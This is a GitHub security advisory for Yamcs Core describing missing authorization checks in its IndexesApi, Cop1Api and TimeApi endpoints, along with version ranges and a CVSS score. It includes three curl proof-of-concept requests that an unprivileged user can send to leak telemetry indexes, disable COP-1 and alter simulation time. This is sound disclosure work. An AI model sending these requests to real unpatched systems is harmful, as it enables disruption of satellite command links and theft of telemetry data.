GHSA-962X-CCWF-8X6P

Vulnerability from github – Published: 2026-08-28 17:09 – Updated: 2026-08-28 17:09
VLAI
Summary
Yamcs Core API has Multiple Missing Function Level Access Control vulnerabilities
Details

Summary

Multiple Missing Function Level Access Control vulnerabilities exist in the Yamcs Core API. These vulnerabilities allow any authenticated user, regardless of their assigned roles or privileges (e.g., an unprivileged "Guest"), to bypass intended access controls. An attacker can exploit these flaws to extract sensitive telemetry metadata, disrupt satellite communication link protocols (COP-1), and manipulate the global simulation time, severely impacting the confidentiality, integrity, and availability of the system.

Details

Yamcs utilizes a robust Role-Based Access Control (RBAC) model with SystemPrivilege and ObjectPrivilege to restrict administrative actions and data retrieval. However, three critical API controllers completely omit these authorization checks before executing internal business logic:

  1. IndexesApi.java (Information Disclosure): Unlike PacketsApi.java, which filters results using ctx.user.hasObjectPrivilege(ObjectPrivilegeType.ReadPacket, packetName), methods in IndexesApi (such as listPacketIndex and listEventIndex) directly retrieve and return archive records from the CcsdsTmIndex without verifying if the user has the required Object Privileges.
  2. Cop1Api.java (Denial of Service / Integrity): Modifying the COP-1 telecommand protocol state is an administrative action requiring SystemPrivilege.ControlLinks. However, endpoints in Cop1Api (e.g., disable, resume, initialize, updateConfig) process link state alterations without calling ctx.checkSystemPrivilege(...).
  3. TimeApi.java (Denial of Service / Integrity): The setTime method allows modification of the global SimulationTimeService (affecting all processors, telemetry, and tests in that instance). This endpoint fails to assert any system privileges before applying the requested simulation speed or time jumps.

PoC

Prerequisite: Obtain valid credentials for a completely unprivileged user (e.g., user_without_priv:password with no roles assigned).

PoC 1: Extracting Packet Indexes (IndexesApi)

curl -s -X GET "http://localhost:8090/api/archive/simulator/packet-index" \
     -u "user_without_priv:password"

Result: Returns HTTP 200 OK with a full JSON array of packet indexes, bypassing Object Privilege checks and leaking system metadata.

PoC 2: Disabling COP-1 Protocol (Cop1Api)

curl -s -X POST "http://localhost:8090/api/cop1/simulator/tc_sim:disable" \
     -u "user_without_priv:password" \
     -H "Content-Type: application/json" -d '{}'

Result: The server processes the request past the authorization layer. Depending on the link configuration, it will either successfully disable COP-1 or return 400 BadRequestException confirming the link does not support COP-1. The absence of a 403 Forbidden confirms the authorization bypass.

PoC 3: Manipulating Simulation Time (TimeApi)

curl -s -X POST "http://localhost:8090/api/instances/simulator:setTime" \
     -u "user_without_priv:password" \
     -H "Content-Type: application/json" -d '{"speed": 10.0}'

Result: The server processes the request past the authorization layer. It changes the global simulation speed if the service is active, or returns 400 BadRequestException: Cannot set time for a non-simulation TimeService. The absence of a 403 Forbidden confirms the authorization bypass.

Impact

The vulnerability impacts instances of Yamcs exposing the REST API. * Confidentiality: Unprivileged users can enumerate all historical telemetry packet and event metadata. * Integrity & Availability: Attackers can disable critical satellite telecommand protocols (COP-1) causing command transmission failures. They can also manipulate the global simulation time, disrupting processors, automated tests, and all other users relying on the simulation environment.

PoC Images:

  • Check user permission image

  • Check admin permission and access API: image

  • Check user no permission - get response same with user admin: image image

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.13.1"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.yamcs:yamcs-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.13.0"
            },
            {
              "fixed": "5.13.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.12.7"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.yamcs:yamcs-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.12.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55521"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T17:09:35Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nMultiple Missing Function Level Access Control vulnerabilities exist in the Yamcs Core API. These vulnerabilities allow any authenticated user, regardless of their assigned roles or privileges (e.g., an unprivileged \"Guest\"), to bypass intended access controls. An attacker can exploit these flaws to extract sensitive telemetry metadata, disrupt satellite communication link protocols (COP-1), and manipulate the global simulation time, severely impacting the confidentiality, integrity, and availability of the system.\n\n### Details\nYamcs utilizes a robust Role-Based Access Control (RBAC) model with `SystemPrivilege` and `ObjectPrivilege` to restrict administrative actions and data retrieval. However, three critical API controllers completely omit these authorization checks before executing internal business logic:\n\n1.  **`IndexesApi.java` (Information Disclosure):** Unlike `PacketsApi.java`, which filters results using `ctx.user.hasObjectPrivilege(ObjectPrivilegeType.ReadPacket, packetName)`, methods in `IndexesApi` (such as `listPacketIndex` and `listEventIndex`) directly retrieve and return archive records from the `CcsdsTmIndex` without verifying if the user has the required Object Privileges.\n2.  **`Cop1Api.java` (Denial of Service / Integrity):** Modifying the COP-1 telecommand protocol state is an administrative action requiring `SystemPrivilege.ControlLinks`. However, endpoints in `Cop1Api` (e.g., `disable`, `resume`, `initialize`, `updateConfig`) process link state alterations without calling `ctx.checkSystemPrivilege(...)`.\n3.  **`TimeApi.java` (Denial of Service / Integrity):** The `setTime` method allows modification of the global `SimulationTimeService` (affecting all processors, telemetry, and tests in that instance). This endpoint fails to assert any system privileges before applying the requested simulation speed or time jumps.\n\n### PoC\n**Prerequisite:** Obtain valid credentials for a completely unprivileged user (e.g., `user_without_priv:password` with no roles assigned).\n\n**PoC 1: Extracting Packet Indexes (`IndexesApi`)**\n```bash\ncurl -s -X GET \"http://localhost:8090/api/archive/simulator/packet-index\" \\\n     -u \"user_without_priv:password\"\n```\n*Result:* Returns HTTP 200 OK with a full JSON array of packet indexes, bypassing Object Privilege checks and leaking system metadata.\n\n**PoC 2: Disabling COP-1 Protocol (`Cop1Api`)**\n```bash\ncurl -s -X POST \"http://localhost:8090/api/cop1/simulator/tc_sim:disable\" \\\n     -u \"user_without_priv:password\" \\\n     -H \"Content-Type: application/json\" -d \u0027{}\u0027\n```\n*Result:* The server processes the request past the authorization layer. Depending on the link configuration, it will either successfully disable COP-1 or return `400 BadRequestException` confirming the link does not support COP-1. The absence of a `403 Forbidden` confirms the authorization bypass.\n\n**PoC 3: Manipulating Simulation Time (`TimeApi`)**\n```bash\ncurl -s -X POST \"http://localhost:8090/api/instances/simulator:setTime\" \\\n     -u \"user_without_priv:password\" \\\n     -H \"Content-Type: application/json\" -d \u0027{\"speed\": 10.0}\u0027\n```\n*Result:* The server processes the request past the authorization layer. It changes the global simulation speed if the service is active, or returns `400 BadRequestException: Cannot set time for a non-simulation TimeService`. The absence of a `403 Forbidden` confirms the authorization bypass.\n\n### Impact\nThe vulnerability impacts instances of Yamcs exposing the REST API. \n*   **Confidentiality:** Unprivileged users can enumerate all historical telemetry packet and event metadata.\n*   **Integrity \u0026 Availability:** Attackers can disable critical satellite telecommand protocols (COP-1) causing command transmission failures. They can also manipulate the global simulation time, disrupting processors, automated tests, and all other users relying on the simulation environment.\n\n### PoC Images:\n- Check user permission\n\u003cimg width=\"1218\" height=\"951\" alt=\"image\" src=\"https://github.com/user-attachments/assets/fa7b1f1b-70fc-4796-805a-70acb84686d3\" /\u003e\n\n- Check admin permission and access API:\n\u003cimg width=\"1768\" height=\"555\" alt=\"image\" src=\"https://github.com/user-attachments/assets/844364f7-5e26-4c15-8809-6512f10ffbab\" /\u003e\n\n- Check user no permission - get response same with user admin:\n\u003cimg width=\"1264\" height=\"885\" alt=\"image\" src=\"https://github.com/user-attachments/assets/8773cef6-f940-48f7-a382-0eb87b8767d4\" /\u003e\n\u003cimg width=\"1243\" height=\"358\" alt=\"image\" src=\"https://github.com/user-attachments/assets/3288f092-7114-48d6-9e5c-9aeaf20d95d4\" /\u003e",
  "id": "GHSA-962x-ccwf-8x6p",
  "modified": "2026-08-28T17:09:35Z",
  "published": "2026-08-28T17:09:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-962x-ccwf-8x6p"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/yamcs/yamcs"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Yamcs Core API has Multiple Missing Function Level Access Control vulnerabilities"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.